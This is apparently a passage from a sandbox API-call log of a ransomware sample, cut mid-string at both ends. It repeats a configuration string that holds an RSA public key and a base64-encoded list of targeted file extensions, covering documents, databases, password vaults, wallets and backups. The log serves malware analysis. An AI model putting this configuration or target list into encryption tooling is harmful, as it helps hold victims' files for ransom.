YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1p